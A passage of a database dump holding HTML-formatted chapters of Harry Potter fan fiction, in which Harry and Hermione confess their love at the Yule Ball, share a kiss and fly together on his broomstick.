for you, the other half for your mom.&#8221; Harry said, storing his \ndress robe away.</p>\n<p>Ron dumped out its contents onto his lap and his eyes widened as he looked at \nwhat looked like about 50 Gold Galleons. He looked up to Harry as if to say \nsomething, but Harry spoke first.</p>\n<p>&#8220;Don&#8217;t say anything Ron, just nod your head, take what you need and give the \nrest to your mum. Give no explanation on how you got it. Ok? You and your \nfamily&#8217;s done so much for me, and I&#8217;ve never really got to pay you all back.&#8221; \nsaid Harry, eyeing Ron.</p>\n<p>Sure enough, Ron nodded his head, took about 10 Galleons (That&#8217;s all he \nreally needed) and sent the other 40 home by owl post.</p>\n<p>***</p>\n<p>After putting on their pajamas and getting ready for bed, the two boys lay \ndown on their beds. After a couple of minutes of Harry attempting to sleep and \nconstant tossing and turning, he got up and put a robe on, feeling very \nimpatient with himself.</p>\n<p>&#8220;I&#8217;m going downstairs Ron,&#8221; said Harry consciously, &#8220;I&#8217;m going to get a drink \nof - water&#8230;&#8221;</p>\n<p>By the loud sounds of Ron&#8217;s snoring, Harry knew that he didn&#8217;t hear a word he \nsaid. Harry smiled, shook his head and headed out the door</p>\n<p>Harry walked down the stairs into the common room, rubbing his eyes lazily. \nHe was surprised to find someone there. He had to rub his eyes harder to make \nsure he wasn&#8217;t still sleeping. Sitting on the floor with her head down on a \nbook, on a small coffee table, was Hermione. She had obviously fallen asleep \nwhile reading. This didn&#8217;t surprise Harry. He just chuckled happily and shook \nhis head.</p>\n<p>&#8220;Hermione,&#8221; he said, although fully aware that she didn&#8217;t hear him, &#8220;All this \nreading really isn&#8217;t good for you.&#8221;</p>\n<p>He looked at her and fell into his trance again. He had never seen Hermione \nsleep before and what a site it was. She looked beautiful in the dim light of \nthe fireplace. And she looked so peaceful.</p>\n<p>&#8220;Now what do I do?&#8221; he asked himself as though talking to a real person. \n&#8220;Should I wake her? No, she must be really tired. I can&#8217;t disturb her sleep. But \nI can&#8217;t leave her like that either. She&#8217;ll get cramps. I know&#8230;&#8221; He walked over \nto her and carefully slid an arm under her kneecaps, still being a gentleman and \nnot fumbling around too much to disturb her skirt. With his other arm, he \ncradled it under Hermione&#8217;s head and let her fall into it. With one smooth \nmoment, he lifted Hermione up, now carrying her like a mother would her infant. \n</p>\n<p>Without waking her, he slowly tiptoed over to a couch and placed her softly \non top of it. He ran upstairs and took an extra pillow and blanket from the \nboys&#8217; dormitories and he put the pillow under Hermione&#8217;s head and covered her \nwith the blanket.</p>\n<p>&#8220;There, that&#8216;s better,&#8221; said Harry looking satisfied, as if he just fought in \na war. &#8220;Sorry Hermione, I would&#8217;ve brought you to the girls dormitories, but the \ngirls&#8217; would&#8217;ve killed me if they woke up and saw me.&#8221; he said, as though she \ncould hear him.</p>\n<p>&#8220;But I can&#8217;t just leave her,&#8221; Harry continued. &#8220;Maybe I should just stay here \nwith her and at least keep her company.&#8221; He sat down in a chair beside the sofa. \nHe didn&#8217;t feel tired or thirsty anymore. He sat there, starring at Hermione \nabsentmindedly, her hair wild, her mouth slightly open, and the way her body \nmoved up and down as she breathed. </p>\n<p>He mindlessly watched her for what seemed like hours before Harry found \nhimself also sleeping as happily as Hermione.</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n'),
	(160, 7, '<b>\n<p align="center">Chapter 7 - In The Boys&#8217; Dorms</p>\n<p align="center"></p>\n<p align="center">&nbsp;</p></b>\n<p>Harry was again shaken awake by a familiar voice from his right.</p>\n<p>&#8220;Harry,&#8221; said the voice softly. &#8220;Harry wake up. Come on Harry, wake up.&#8221;</p>\n<p>&#8220;Huh?&#8221; said Harry, opening his eyes slowly and then seeing Hermione. It was \nat the crack of dawn when she woke him up. As happy as Harry was for seeing \nHermione, he didn&#8217;t want to be woken up.</p>\n<p>&#8220;Harry, did you&#8230;did you carry me over to the couch and blanket me? And did \nyou stay with me the whole time?&#8221; she asked soothingly.</p>\n<p>Harry replayed the entire scene over in his head and he couldn&#8217;t help himself \nfrom smiling.</p>\n<p>&#8220;Yeah Hermione, I did. Why?&#8221; he said, but his smile slowly disappeared. &#8220;Oh \nlook Hermione! If you&#8217;re mad, I didn&#8217;t mean to invade your privacy. I-&#8221;</p>\n<p>She just smiled at him.</p>\n<p>&#8220;No Harry. It&#8216;s ok&#8221; she said. &#8220;But that was really sweet of you.&#8221;</p>\n<p>Harry breathed again, feeling relieved. </p>\n<p>&#8220;No problem Hermione,&#8221; he said. &#8220;It&#8217;s still very early. You should go to your \nreal bed and sleep a little more.&#8221;</p>\n<p>&#8220;I will Harry,&#8221; she said, kissing him on the cheek. &#8220;Thanks again.&#8221;</p>\n<p>And with that, she stood up and walked to the girls&#8217; dorms. When Harry heard \nthe door shut, he got up and went to the boys&#8217; dorm and plopped right on his bed \nstill feeling very tired. He feel asleep right away.</p>\n<p></p>\n<p>***</p>\n<p>What seemed like an eternity to Harry, with the stress of school, finding his \nfeeling for Hermione, talking to Ron about asking Hermione to the Yule Ball, \nfinally being alone with her, getting the courage to do it, actually asking \nHermione to it, took the initiative to blanket Hermione, and having something \nnice to wear, the Yule Ball was finally here.</p>\n<p>&#8220;You excited Harry?&#8221; Ron asked, getting into his dark orange dress robes.</p>\n<p>&#8220;Are you kidding!?&#8221; Harry exclaimed, also dressing into his midnight blue \ndress robes, &#8220;I&#8217;m better off facing a dragon, swimming with ugly mermaids, who \ndon&#8217;t even look like mermaids, or going through a maze with deadly creatures in \nit!&#8221;</p>\n<p>&#8220;That nervous huh?&#8221; Ron answered, sitting on his bed. &#8220;Don&#8217;t tell me you&#8217;re \ngoing to back out now!&#8221;</p>\n<p>&#8220;No way! There is no way! I worked too hard for this!&#8221; Harry shouted, fixing \nhis robes on straight, &#8220;I&#8217;m going to have a great time tonight with Hermione. \nI&#8217;m sure she&#8217;s up in her room right now trying to look beautiful&#8230;&#8221; his voice \ntrailed off, &#8220;&#8230;she doesn&#8217;t have to try, she&#8217;s beautiful already. With her hair \nand her dark brown eyes, that I can just get lost in. And her beautiful smile, \nmakes anyone who receives it feel so special. You have no idea. I am so in lo&#8230;&#8221; \nHarry tried to finish, but found that he couldn&#8217;t because he saw Ron looking at \nhim, with an astonished look on his face.</p>\n<p>&#8220;You have got to relax Harry,&#8221; he said, &#8220;I&#8217;ve never seen you act or talk like \nthat before.&#8221; </p>\n<p>Harry continued to look at Ron. The expression on his face going from \nastonished to a you-didn&#8217;t-tell-me-yet look. &#8220;Harry, you still haven&#8217;t answered \nmy question yet.&#8221;</p>\n<p>&#8220;What question?&#8221; Harry asked.</p>\n<p>&#8220;Remember? When you stormed out of the Great Hall after Hermione asked you if \nsomething was wrong. I went looking for you and found you in the common \nroom.&#8221;</p>\n<p>&#8220;Oh that,&#8221; Harry said. He was amazed that Ron had remembered it, even though \nit was long ago. &#8220;What was the question again?&#8221; he asked stupidly.</p>\n<p>&#8220;Do you like Hermione?&#8221;</p>\n<p>&#8220;Of course I do, Ron. Why wouldn&#8217;t I like her? She&#8217;s my best friend&#8221; Harry \nanswered stupidly.</p>\n<p>&#8220;You know what I meant Harry! Let me rephrase it for you: Are you in love \nwith Hermione?&#8221;</p>\n<p>&#8220;I&#8230;I&#8230;&#8221; Harry started. Even thought Ron was his best friend, it was difficult \nto answer him, &#8220;I&#8230;I&#8230;&#8221;</p>\n<p>&#8220;Come on mate. Say it. You&#8217;ll feel better afterward.&#8221;</p>\n<p>Harry gave a deep sigh. &#8220;Ok, I can see there&#8217;s no fooling you Ron. Yes. I am \nin love with Hermione. Wow! That felt good!&#8221;</p>\n<p>&#8220;See!&#8221; Ron said, &#8220;That&#8217;s all I wanted to hear.&#8221;</p>\n<p>&#8220;What about you, Ron? Didn&#8217;t you like her at one point in your life.&#8221;</p>\n<p>&#8220;Well, there may have been one time in somewhere in there where I may have \nliked her. I may even have shown it through all the insults and arguments. But \nquite frankly, I can&#8217;t stand her! Her position stands well as my friend, \nperiod.&#8221;</p>\n<p>Harry nodded and asked, &#8220;You think she likes me too?&#8221;</p>\n<p>&#8220;You&#8217;re asking the wrong person, Harry. That question is for Hermione and \nHermione only. Blimey! Look at the time Harry! We better get going. Don&#8217;t want \nto be late for our dates do we?&#8221;</p>\n<p>&#8220;No way!&#8221; exclaimed Harry.</p>\n<p>And with that, they walked out of the boys&#8217; dormitories and hurried to the \ncommon room.</p>\n'),
	(160, 8, '<b>\n<p align="center">Chapter 8 - The Yule Ball</p>\n<p align="center"></p></b>\n<p>&nbsp;</p>\n<p>Harry and Ron waited in the common room for their dates, Hermione and \nLavender. After a brief explanation on why Ron asked her to the Ball, (Ron \nfancied her) he saw her walk down the steps from the girls&#8217; dormitories. She \nlooked quite pretty. She was wearing a scarlet red dress robes and she had her \nhair tied back. Ron hugged her as she came up to him. She spoke to Harry.</p>\n<p>&#8220;Looking sharp Harry!&#8221; Lavender said, smiling. &#8220;Heard you&#8217;ll be taking \nHermione. It&#8217;s about time you two came out to the world!&#8221;</p>\n<p>&#8220;We&#8217;ll meet you down there Harry,&#8221; Ron said, and walked off with Lavender, \narm in arm.</p>\n<p>Harry heard footsteps coming down the stairs from the girls&#8217; dormitories. He \nlooked up and his jaw dropped. He had to hold on to a chair to prevent himself \nfrom fainting. Hermione made her way down the steps and smiled at Harry when she \nsaw him. </p>\n<p>&#8220;<i>Wow!&#8221; </i>Harry said to himself. It was Hermione all right, but it didn&#8217;t \n<i>look </i>like Hermione. She was wearing a shoulder-less, periwinkle-blue \ndress robes that glittered in the light. She had a hairpiece in her hair to \nmatch. Her hair wasn&#8217;t bushy and curly anymore. She kept her hair down and it \nwas sleek, straight, and shinny, with highlights. And around her neck, the \nnecklace Harry had given her. It was glowing as blue as her dress robes. She \nlooked very beautiful indeed.</p>\n<p>&#8220;Hi Harry!&#8221; she said, giving him a kiss on the cheek. &#8220;You look very \nhandsome!&#8221;</p>\n<p>&#8220;Thanks, Hermione,&#8221; he said, turning red. &#8220;You look&#8230;beautiful&#8230;very \nbeautiful!&#8221;</p>\n<p>&#8220;Thanks Harry,&#8221; she replied. &#8220;Do you mind me wearing this, Harry?&#8221; she asked, \nlooking down at the necklace, still glowing bright blue.</p>\n<p>&#8220;Not anymore,&#8221; he said, looking at it too, &#8220;it looks marvelous on you.&#8221;</p>\n<p>&#8220;If anyone asks, can I tell them?&#8221; she asked, looking into his green eyes. \n</p>\n<p>Harry put on his thinking face, it no longer mattered to him that people knew \nthat he had given it to her. Now, he w<i>anted</i> people to know. And after a \nvery brief moment, said, &#8220;Of course!&#8221;</p>\n<p>****</p>\n<p>They made their way to the Great Hall where it would take place. Sure enough, \njust like before, the four House tables were gone and replaced with smaller, \ncircular, tables with silver plates and gold goblets. The teacher&#8217;s table was \nstill there with all the teachers sitting, looking just as formal as the \nstudents. They joined Ron and Lavender at the table they were sitting at. The \nfour of them picked up their menus and looked at all the delicious foods.</p>\n<p>&#8220;Your attention please,&#8221; Professor McGonagall called, after tapping her glass \ncup with a spoon. After she had everyone&#8216;s attention, Professor Dumbledore stood \nup and spoke.</p>\n<p>&#8220;Before the Yule Ball Feast this evening, I have something I wish to \nannounce. Professor McGonagall has written down all of the couple&#8217;s names on \nsmall pieces of parchment an placed them into this goblet.&#8221; He held up a shiny, \nbrand new golden goblet. </p>\n<p>&#8220;When the time comes,&#8221; he continued, &#8220;the couple that is drawn from the \ngoblet will start off by dancing alone on the dance floor. Thank you.&#8221;</p>\n<p>Whispers and murmurs went about the Hall after Dumbledore had spoken. Harry \nlooked at Hermione, bewildered.</p>\n<p>&#8220;What if we&#8217;re picked Harry? Wouldn&#8217;t that be exciting?&#8221;</p>\n<p>&#8220;Sure would! But what are the chances of that happening?&#8221; Harry said and \nblushed at the thought of him and Hermione being picked to dance. Ron, as though \nreading his mind, saw him and grinned. They looked anxiously back at their \nmenus. </p>\n<p>&#8220;Pork Chops!&#8221; Ron shouted, and POOF! It appeared on his plate.</p>\n<p>&#8220;Rib Roast!&#8221; shouted Harry, and POOF! It appeared on his plate.</p>\n<p>Hermione and Lavender both ordered small helpings of chicken and a Caesar \nSalad. After talking about various things over dinner, their plates were cleared \nand Professor McGonagall got everyone&#8217;s attention once again. Professor \nDumbledore stood up and spoke, holding the goblet in one hand.</p>\n<p>&#8220;Fun part starts now Harry,&#8221; Ron said grinning, poking him in the chest with \nhis elbow.</p>\n<p>&#8220;What for? Its not like we&#8217;re going to get picked,&#8221; Harry stated.</p>\n<p>&#8220;Shhh,&#8221; Hermione and Lavender said in unison, putting a finger to their \nlips.</p>\n<p>Professor Dumbledore reached into the goblet and pulled out a small piece of \nparchment. He said, &#8220;And now, I am pleased to announce, that the lucky couple \nwho will start this years Yule Ball Dance will be&#8230;&#8221; and unfolded it. He opened \nhis mouth as if to speak, but there was a pause. Dumbledore stared at the \nparchment for a moment, as if there was a mistake on it. Harry was surprised \nwhen Dumbledore&#8217;s eyes looked over his half-moon spectacles and toward him. \nHarry continued to look at Dumbledore and Dumbledore gave him a small smile. \n&#8220;&#8230;Harry Potter and Hermione Granger!&#8221;</p>\n<p>Everything in the Great Hall, including ghosts and elves, gasped when \nDumbledore made the announcement. He continued, &#8220;Will Mr. Potter and Ms. Granger \nplease make their way to the center dance floor?&#8221;</p>\n<p>Harry sat still, motionless, in his seat, not believing what he just heard. \nRon had slapped him hard on the back, as if congratulating him. The Hall stood \nunusually silent. Hermione shook him out of his daze. </p>\n<p>&#8220;Come on Harry!&#8221; she said, looking excited. &#8220;Let&#8217;s go.&#8221;</p>\n<p>Harry still didn&#8217;t move. He was frozen with fear to move. Filled with half \nexcitement and half timidness.</p>\n<p>&#8220;Ugh&#8230;&#8221; Hermione grunted impatiently, and picked him off of his chair. \nEveryone in the Hall exploded in cheers. She stood behind him, put her hands on \nhis shoulders, and gently pushed him onto the dance floor. To her surprise, \nsimilar cheers, hoots, oh&#8217;s, and ah&#8217;s were shouted as they made their way on the \ndance floor. Even the teachers were applauding for them, not looking surprised, \nas if they knew as well that Harry and Hermione were a couple.</p>\n<p>The lights dimmed and slow music started to play (cheers died down) as they \nmade their way to the center of the dance floor. Hermione turned Harry around \nand faced him, expecting to dance the exact same way they did in their 5th year. \nHarry, now feeling proud and very excited, surprised her and snaked both arms \naround her waist, pulling her affectionately close to him, her chest firmly up \nagainst his. Harry had done his job because Hermione jumped surprisingly, at \nHarry&#8217;s touch and was more surprised that he pulled her toward him. She \nresponded by putting both of her hands over Harry&#8217;s shoulder and around his \nneck. And they danced very well. Not looking sloppy of stiff, but looking very \ngood, almost professionally good.</p>\n<p>Hermione looked up into Harry&#8217;s emerald green eyes once again. She had seen \nhis eyes with looks of <i>something</i> before, but it was only now she noticed \nthat his eyes were telling her something. She had seen it in 1st year, when she \ntold him what a great wizard he was and to be careful going after (what they \nthought at the time was) Snape, in 2nd year, after she happily told him that he \nsolved the mystery of the Chamber of Secrets, in 3rd year, when they went on \ntheir little mission with the Time Turner to save Buckbeat and Sirius, in 4th \nyear, when she had kissed Harry on the cheek for the first time, in 5th year, \nwhen Harry had given her the Happiness-Charm Necklace for Christmas, in 6th \nyear, after she confirmed to Harry that she had found his necklace she \nforgotten, and quite a few times in 7th year, when she was alone with him in the \nlibrary, meeting very late to ask her to The Yule Ball, seeing him wake up after \nshe found out Harry had put her comfortably on the couch, and when it was \nannounced that they would dance together to start the Ball. And she was seeing \nit now. She now knew what that look was, it was a look of love. Her lip started \nto tremble.</p>\n<p>&#8220;Your crying,&#8221; Harry said, noticing her eyes water up. He took his hand from \nHermione&#8217;s waist and wiped away a tear that was building up under one of her \neyes.</p>\n<p>&#8220;Sorry Harry,&#8221; she said, sniffling, &#8220;I&#8217;m just so&#8230;happy!&#8221;</p>\n<p>And never in her entire life did she feel so happy. She leaned in and rested \nher head on Harry&#8217;s chest, closing her eyes. Her pendant was showing it, glowing \na very bright blue. The brightest it had ever glowed. Even though the pendant \nwas sandwiched tightly between her and Harry, the glow seamed to light up the \nentire room. Everyone noticed it and Harry and Hermione could hear people \ntalking on the side.</p>\n<p>&#8220;That&#8217;s the light from a Happiness-Charm Necklace! Those things aren&#8216;t \ncheap!&#8221; one person said, &#8220;Potter must&#8217;ve given to Granger!&#8221; </p>\n<p>&#8220;Wow!&#8221; someone answered, &#8220;He spent that kind of money on her? He must REALLY \nlove her then. Look at them, they&#8217;re so cute!&#8221; </p>\n<p>&#8220;Sure are! They&#8217;ve been going out for what? Like 2 years, right?&#8221;</p>\n<p>&#8220;Yep! Its been awhile.&#8221;</p>\n<p>Harry, turning scarlet, gave a small chuckle after hearing the conversation. \nHermione giggled. He put his head down toward hers until their foreheads \ntouched. They started to talk, but quietly so that no one could hear them, their \nvoices drowned out by the slow, soft dancing music.</p>\n<p>&#8220;Harry? They think that we&#8217;ve been together for two years! Silly them.&#8221;</p>\n<p>Harry smiled, &#8220;Yep Hermione. I don&#8217;t blame them though. &#8220;</p>\n<p>&#8220;Nether do I.&#8221;</p>\n<p>&#8220;Hermione,&#8221; Harry whispered, still with their foreheads touching, &#8220;how does \nit feel to be dancing in front of the whole school and not care?&#8221;</p>\n<p>&#8220;Great Harry! Just splendid!&#8221;</p>\n<p>&#8220;Hermione,&#8221; Harry said again, looking even deeper into her eyes, &#8220;God&#8230;you&#8217;re \nbeautiful&#8230;&#8221;</p>\n<p>She looked up at him, turning red. &#8220;Really Harry? You think so?&#8221;</p>\n<p>&#8220;I know so, Hermione. And I don&#8217;t mean just now. I&#8217;m talking about all the \ntime. Even with you carrying all those heavy books around.&#8221;</p>\n<p>Hermione smiled again. &#8220;You&#8217;re very cute yourself, Harry James Potter!&#8221;</p>\n<p>Harry blushed, turning just as red as Hermione. He withdrew his forehead form \nher, however still looking into her eyes. &#8220;<i>This is the time Potter. NOW!&#8221; \n</i>said a voice in his head. Harry knew what it was talking about. He was going \nto bear his heart and soul to Hermione.</p>\n<p>&#8220;Hermione,&#8221; he started.</p>\n<p>&#8220;Yes Harry?&#8221;</p>\n<p>&#8220;Look, I&#8230;don&#8217;t know how to tell you this&#8230;but,&#8221; he paused.</p>\n<p>&#8220;What Harry?</p>\n<p>&#8220;I&#8217;m&#8230;I&#8217;m in love with you&#8230;&#8221; he said softly, yet embarrassingly.</p>\n<p>Hermione didn&#8216;t respond right away because she couldn&#8217;t believe what she just \nheard. There was a long silence between them as she felt a bolt of electricity \nrun through her body. </p>\n<p>&#8220;Oh!&#8221; sputtered Hermione, looking surprised and bland at the same time. \nHarry, seeing the delay in her response and failing to see Hermione&#8217;s face, \ndropped his head and shook it in disappointment, sighing deeply. Hermione saw \nhis heartbroken look and tried to speak.</p>\n<p>&#8220;Harry? I-&#8221;</p>\n<p>&#8220;That&#8217;s what I thought,&#8221; he began, moving slightly away from Hermione, no \nlonger making eye contact with her. &#8220;I honestly thought that I was going to be \nright. I mean, I think I lived too much on hopes and dreams and failed to live \nby reality. But&#8230;I feel that you should know the truth&#8230;and I&#8230;have just told you \nit. Even if you don&#8217;t love me back, I&#8230;I am just finally relieved that you know. \nIf you don&#8217;t want to speak to me again, I understand. But, j-just let me finish \nthis dance with you, so that I&#8217;ll have something to live with and go on with my \nlife. After that, I&#8217;ll leave you completely alone and you&#8217;ll never see or hear \nof me again. I p-promise.&#8221; His eyes slowly became glossy, trying not to cry. \n</p>\n<p>Hermione, with her lip trembling and eyes filled with tears, managed to \nsay,</p>\n<p>&#8220;H-Harry no. You&#8217;re wrong. I-I love you too&#8230;&#8221;</p>\n<p>&#8220;What?&#8221; Harry said stunned, looking up at her still with tears in his eyes. \nHis voice was shaken. &#8220;You do!?&#8221;</p>\n<p>Hermione nodded, &#8220;Uh huh. Since the end of our 4th year. My feelings for you \ngrew and grew. I wanted you as a boyfriend but, I didn&#8217;t want to say anything \nbecause I was afraid of rejection, and quite possibly, losing our \nfriendship.&#8221;</p>\n<p>Harry couldn&#8217;t believe his ears. &#8220;Wow Hermione! I&#8217;m so happy to hear that,&#8221; \nhe smiled. &#8220; So&#8230;what?&#8220;</p>\n<p>&#8220;Just hold me Harry.&#8221; </p>\n<p>And he did just that. He embraced Hermione tighter than before, inhaling her \ndeeply into his sinuses. After what seemed like forever, Harry whispered in her \near.</p>\n<p>&#8220;Hermione? Um&#8230;does&#8230;does this mean we&#8217;re&#8230;an official b-boyfriend-g-girlfriend \ncouple? W-will people will actually be right this time? W-when they whisper to \neach other about&#8230;us&#8230;as we walk down halls.&#8221; His voice trembled very \nnervously.</p>\n<p>&#8220;I don&#8217;t know Harry,&#8221; Hermione said, blushing. &#8220;Convince me that we&#8217;re a \ncouple.&#8221;</p>\n<p>Harry smiled. Hermione didn&#8217;t even have to say, yet Harry knew very well what \nshe wanted. She wanted a kiss. Harry continued to stare at Hermione, bewildered. \nLooking deep into her eyes. His best friend of 7 years. He nervously put his \nhead down toward her, almost making their foreheads touch. He smiled at her \nagain and she smiled back, knowing what was coming next. He closed his eyes and \nleaned in closer to Hermione. She closed her eyes as well, tilting her head to \nthe side, moving her head toward his. And in a brief moment, Harry touched his \nlips on Hermione&#8217;s for the first time. Feeling his insides do summersaults. \nEveryone in the Great Hall saw the kiss happen and immediately screams and \nohhhh&#8217;s filled the room.</p>\n<p>Nether of them, could hear everyone&#8217;s praise.</p>\n<p>Hermione could feel Harry&#8217;s heartbeat hasten through his chest, as she held \nHarry tighter for support, because her knees became weak at the touch of her \nlips on his. She took the initiative and deepened the kiss, opening her mouth \nagainst his. She knew Harry felt her lips part because he did the same. She \nslowly slid her tongue into his mouth, exploring it, massaging his tongue with \nhers. She moaned softly against the kiss and poured 7 years of friendship into \nit, not wanting to stop. They were lost completely in the kiss, as if in their \nown world, as if nobody else but them were in the Great Hall. Finally, Harry \nbroke the kiss slowly and looked down at her. Her eyes still closed. She opened \nthem slowly, looked up at Harry, and smiled weakly, overwhelmed at the power of \ntheir kiss.</p>\n<p>&#8220;Wow Harry! That. Was. Amazing!&#8221;</p>\n<p>Harry just smiled. &#8220;So Hermione? Will you be my girlfriend?&#8221;</p>\n<p>She leaned in and kissed him again. Harry knew, of course, what her answer \nwas.</p>\n<p>After the second kiss broke, their brains started working again they began to \nreturn to the real world because their ears were overwhelmed with cheers and \napplause from the Great Hall. They realized that they were still dancing, but \nthere was no music. Looking very stupid, they stopped and looked around the \nHall, grinning, as students and teachers were shouting louder than ever, as if \none of their Quidditch Teams had won a World Cup. Harry took Hermione&#8217;s hand and \nwalked back to the table where Ron and Lavender were applauding. They sat down \nand Hermione scooted her chair closer to Harry, resting her head on his \nshoulder, closing her eyes and swooning.</p>\n<p>&#8220;You two were excellent!&#8221; Ron said, as the cheers started to die down. \n&#8220;Wicked! You two were still up there dancing a good five minutes after the song \nstopped. Dumbledore got up to say something but stopped when he noticed you two \nhadn&#8217;t moved. Everyone was quiet and just watched. The light from the \nHappiness-Charm Necklace Hermione&#8217;s wearing outlined you two brightly! You two \nwere whispering to each other and then, we see out of nowhere, Harry lean in and \nkiss Hermione! Everyone went crazy! You two looked perfect together!&#8221;</p>\n<p>Harry grinned and looked at Hermione, still with her head on his shoulder, \nand kissed her on the head. She looked up to him and smiled. Dumbledore got \neveryone&#8217;s attention again.</p>\n<p>&#8220;Now,&#8221; he started, clearing his throat, smiling at Harry and Hermione, &#8220;after \nthat <i>superb</i> performance from Mr. Potter and Ms. Granger, everyone may now \ndance.&#8221; And sure enough, right after the words left his mouth, couples went onto \nthe floor and danced, probably getting confidence from Harry and Hermione. Some \nstudents still stayed put. Jaws dropped, star struck and in awe of Harry and \nHermione.</p>\n<p>&#8220;Well Lavender,&#8221; said Ron, &#8220;lets leave the lovebirds alone and see if we can \nmatch Harry and Hermione.&#8221;</p>\n<p>&#8220;Oh no one can match that!&#8221; she said, as she was dragged on to the dance \nfloor, loud enough for Harry and Hermione to hear.</p>\n<p>A party of 5 girls ran over to the table where Harry and Hermione were still \nsitting.</p>\n<p>&#8220;Did Harry give you that necklace, Hermione?&#8221; one of them said. Hermione \nnodded. &#8220;Wow!&#8221; she said astonished. &#8220;I hope my boyfriend buys something like \nthat for me one day.&#8221;</p>\n<p>&#8220;Potter must be some boyfriend huh?&#8221; another one said. Hermione looked over \nat Harry and back at the girl. &#8220;Oh he sure is!&#8221; she answered. All the girls \ngiggled.</p>\n'),
	(160, 9, '<b>\n<p align="center">Chapter 9 - Final Year, Beginning Feelings</p>\n<p align="center"></p>\n<p align="center">&nbsp;</p></b>\n<p>As the intensity of the Ball died down and many couples were up on the dance \nfloor, Harry and Hermione sat at their table and watched all the couples dance \nhappily. The Ball would soon be over and Harry had a feeling in his gut. \nSomething that told him that after his accomplishments, there still was \nunfinished business. Before he could think any further, Professor Dumbledore \nwalked up to them.</p>\n<p align="justify">&#8220;Excellent job you two. Just splendid!&#8221; he said. &#8220;You two have \nshown great skill and leadership for Hogwarts. It is no surprise that the Head \nBoy and Head Girl are a couple. It has sort of become a Hogwart&#8217;s ritual. It is \nalso a shame that this is your last year here. I recon that future students of \nHogwarts will be talking about you two for a very long time. Harry, your mother \nand father would be proud. You too Hermione.&#8221;</p>\n<p>&#8220;Thanks professor,&#8221; said Harry. &#8220;It&#8217;s been an honor attending here and having \nyou as headmaster.&#8221;</p>\n<p>&#8220;Harry&#8217;s right professor,&#8221; added Hermione. &#8220;I&#8217;ve had fun here as well. \nHopefully after Hogwarts we will meet again in the not-to-distant \nfuture?&#8221;</p><b></b>\n<p>&#8220;Absolutely,&#8221; said Professor Dumbledore. &#8220;I am sure that I will see you two \nlater. Maybe <i>soon after</i> Harry gets the chance to&#8230;um&#8230;ask Hermione to-&#8221; He \nwinked at Harry, who blushed in amusement. &#8220;I will see you both later.&#8221;</p>\n<p>&#8220;Bye Professor!&#8221; they both shouted as he walked away to dance with Professor \nMcGonagall.</p>\n<p>&#8220;I&#8217;ve got it!&#8221; Harry shouted. </p>\n<p>&#8220;What?&#8221; Hermione said anxiously. &#8220;What&#8217;s the matter Harry?&#8221;</p>\n<p>&#8220;Follow me,&#8221; he said as he walked out of the Great Hall, holding Hermione&#8217;s \nhand.</p>\n<p>Hermione had to run to keep up with Harry. He looked very excited as his pace \nquickened.</p>\n<p>&#8220;Where on Earth are we going Harry?&#8221; asked Hermione. &#8220;I hope you&#8217;re not \nplanning on getting in trouble!&#8221;</p>\n<p>&#8220;Maybe,&#8221; Harry said grinning.</p>\n<p>Hermione tutted and continued to follow him. </p>\n<p>&#8220;You know, you&#8217;re beginning to get as obnoxious as Ron!&#8221; </p>\n<p>They walked, to Hermione&#8217;s surprise, outside. Right into the center of the \nQuidditch field.</p>\n<p>&#8220;What&#8217;s the meaning of this Harry?&#8221; said Hermione tentatively. &#8220;What are we \ndoing here?&#8221;</p>\n<p>&#8220;You&#8217;ll see,&#8221; said Harry reaching in his robes pocket and pulling out his \nwand. &#8220;Remember when you helped me endlessly in perfecting a Summoning \nCharm?&#8221;</p>\n<p>&#8220;Of course!&#8221; said Hermione proudly. &#8220;Why?&#8221;</p>\n<p>&#8220;You&#8217;ll see,&#8221; Harry repeated. He raised his wand and shouted, <i>&#8220;Accio \nFirebolt!&#8221;</i> </p>\n<p>Hermione didn&#8217;t really make out what he said, but immediately, she saw \nsomething fly out of the boys&#8217; dormitories and it was zooming toward them. It \nstopped abruptly right in front of Harry. He put his wand away and was looking \nself-righteous with himself. It was his Firebolt Broomstick. Harry mounted it \nand looked straight at Hermione.</p>\n<p>&#8220;What&#8230;are you going to do with&#8230;that Harry?&#8221; asked Hermione, looking rather \nscared. Her Happiness-Charm Necklace was no longer glowing.</p>\n<p>Harry looked almost hurt. &#8220;Hermione, I promised I would take you flying,&#8221; he \nsaid.</p>\n<p>&#8220;Oh!&#8221; she responded. &#8220;Right&#8230;.I remember now.&#8221;</p>\n<p>Harry scooted up on his broomstick to make room for Hermione.</p>\n<p>&#8220;Come on, get on,&#8221; he said anxiously.</p>\n<p>Hermione walked nervously toward Harry on mounted herself behind him, putting \nher arms around him and holding on tight. She knew that she wanted to fly, but \nshe never thought Harry would go through with it.</p>\n<p>&#8220;Hold on tight now!&#8221; Harry said, smiling mischievously. And without warning, \nhe kicked off of the ground and they were zooming into the sky above. Hermione \nreacted by screaming and squeezing Harry even tighter around the waist.</p>\n<p>&#8220;Harry that wasn&#8217;t funny!&#8221; she shouted right after Harry had done a loop. \n&#8220;You could&#8217;ve at least WARNED me BEFORE you took off! And Could you PLEASE slow \ndown a bit!?&#8221;</p>\n<p>&#8220;Sure thing Hermione,&#8221; Harry said laughing. Seeing Hermione upset was the \nlast thing he wanted to see. But he was having the time of his life. He slowed \ndown to an easy glide so that Hermione could have a chance to recollect \nherself.</p>\n<p>&#8220;Whew! Thank you Harry,&#8221; she said with a sigh of relief.</p>\n<p>&#8220;Feeling better ?&#8221;</p>\n<p>&#8220;Now I am,&#8221; she said happily and snuggled up against him for comfort. &#8220;Harry, \nthere&#8217;s something I wanted to tell you.&#8221;</p>\n<p>&#8220;What?&#8221;</p>\n<p>She went on and told him ALL about her feelings after their 4th year had \nended. About how she was beginning to feel toward him and how she thought that \nshe was seeing him give her signals that he was interested.</p>\n<p>&#8220;Well yeah!&#8221; Harry said irritably. &#8220;I was hoping whether or not you were \ngetting the picture.&#8221;</p>\n<p>&#8220;I was,&#8221; she said. &#8220;But like I said, I was scared.&#8221;</p>\n<p>&#8220;So was I.&#8221;</p>\n<p>&#8220;But enough of that Harry. Let&#8217;s stop thinking about the past and look \nforward into the future. I hope we&#8217;ll&#8230;be in each others lives for a long time. \nThis is our last year at Hogwarts.&#8221;</p>\n<p>&#8220;Sure we will,&#8221; Harry replied. &#8220;I mean, this is a new feeling for me. And I \nam a rookie. Seeing that I&#8217;ve never had a girlfriend before.&#8221;</p>\n<p>&#8220;I&#8217;m sure you&#8217;ll manage Harry,&#8221; Hermione responded happily, her Charm \nNecklace beginning to glow brightly. &#8220;I mean, you&#8217;ve survived a killing curse \nfrom You-Know-Who. I&#8217;m sure that 